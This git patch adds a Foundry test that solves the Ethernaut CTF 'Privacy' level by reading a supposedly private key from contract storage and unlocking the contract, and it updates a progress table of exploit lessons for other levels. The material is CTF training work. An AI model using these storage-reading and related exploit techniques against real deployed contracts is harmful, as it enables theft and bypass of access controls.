From 5e4e40cb3d70c80c7bc0d0ee54dcd340b5ca90da Mon Sep 17 00:00:00 2001 From: leovct Date: Thu, 26 Sep 2024 08:58:51 +0200 Subject: [PATCH] feat: ethernaut ctf lvl 12 solution --- doc/EthernautCTF.md | 2 +- test/EthernautCTF/PrivacyExploit.t.sol | 50 ++++++++++++++++++++++++++ 2 files changed, 51 insertions(+), 1 deletion(-) create mode 100644 test/EthernautCTF/PrivacyExploit.t.sol diff --git a/doc/EthernautCTF.md b/doc/EthernautCTF.md index 35af860..7e506a4 100644 --- a/doc/EthernautCTF.md +++ b/doc/EthernautCTF.md @@ -13,7 +13,7 @@ | 09 | [King](../src/EthernautCTF/King.sol) | ✅ | [KingExploit](../test/EthernautCTF/KingExploit.t.sol) | Implement a helper contract that reverts when receiving ether. | | 10 | [Reentrance](../src/EthernautCTF/Reentrance.sol) | ✅ | [ReentranceExploit](../test/EthernautCTF/ReentranceExploit.t.sol) | Perform all state changes before making external calls to avoid re-entrancy exploits. | | 11 | [Elevator](../src/EthernautCTF/Elevator.sol) | ✅ | [ElevatorExploit](../test/EthernautCTF/ElevatorExploit.t.sol) | When calling an external contract, always check the returned value before using it! | -| 12 | [Privacy](../src/EthernautCTF/Privacy.sol) | ❌ | | | +| 12 | [Privacy](../src/EthernautCTF/Privacy.sol) | ✅ | [PrivacyExploit](../test/EthernautCTF/PrivacyExploit.t.sol) | Read the key from the contract storage | | 13 | [GatekeeperOne](../src/EthernautCTF/GatekeeperOne.sol) | ✅ | [GatekeeperOneExploit](../test/EthernautCTF/GatekeeperOneExploit.t.sol) | - Estimate the amount of gas a contract call would take using `gasleft` and binary search (dichotomy).
- Another method is to use a `while` loop and to consume the gas tiny bits by tiny bits until the call succeeds.
- Perform operations using bit masks. | | 14 | [GatekeeperTwo](../src/EthernautCTF/GatekeeperTwo.sol) | ✅ | [GatekeeperTwoExploit](../test/EthernautCTF/GatekeeperTwoExploit.t.sol) | - Create a contract that has a size equal to zero by putting all the logic inside the constructor. Indeed, a contract does not have source code available during construction.
- Solidity does not support bitwise negation, but a simple way to perform the operation is to use the XOR operation (`^`) with `0xff` (ones). | | 15 | [NaughtCoin](../src/EthernautCTF/NaughtCoin.sol) | ✅ | [NaughtCoinExploit](../test/EthernautCTF/NaughtCoinExploit.t.sol) | Use the ERC20 `allowance` and `transferFrom` methods to send tokens on behalf of a nother address. | diff --git a/test/EthernautCTF/PrivacyExploit.t.sol b/test/EthernautCTF/PrivacyExploit.t.sol new file mode 100644 index 0000000..15fbab5 --- /dev/null +++ b/test/EthernautCTF/PrivacyExploit.t.sol @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: GPL-3.0 +pragma solidity ^0.8.0; + +import '../../src/EthernautCTF/Privacy.sol'; +import '@forge-std/Test.sol'; +import '@forge-std/console2.sol'; + +contract PrivacyExploit is Test { + Privacy target; + address deployer = makeAddr('deployer'); + address exploiter = makeAddr('exploiter'); + + function setUp() public { + vm.startPrank(deployer); + bytes32[3] memory data = [ + bytes32('0x0a'), + bytes32('0x0b'), + bytes32('0x0c') + ]; + target = new Privacy(data); + console2.log('Target contract deployed'); + vm.stopPrank(); + } + + function readBytes32FromTargetStorage( + uint256 _slot + ) public view returns (bytes32) { + return vm.load(address(target), bytes32(_slot)); + } + + function testExploit() public { + assertTrue(target.locked()); + console2.log('Contract locked'); + + // Storage layout + // - slot 0: bool locked + // - slot 1: uint256 ID + // - slot 2: uint8 flattening + uint8 denomination + uint16 awkwardness + // - slot 3: bytes32 data[0] + // - slot 4: bytes32 data[1] + // - slot 5: bytes32 data[2] + console2.log('Read key from storage'); + bytes32 slot5 = readBytes32FromTargetStorage(5); + + bytes16 key = bytes16(slot5); + target.unlock(key); + assertFalse(target.locked()); + console2.log('Contract unlocked'); + } +}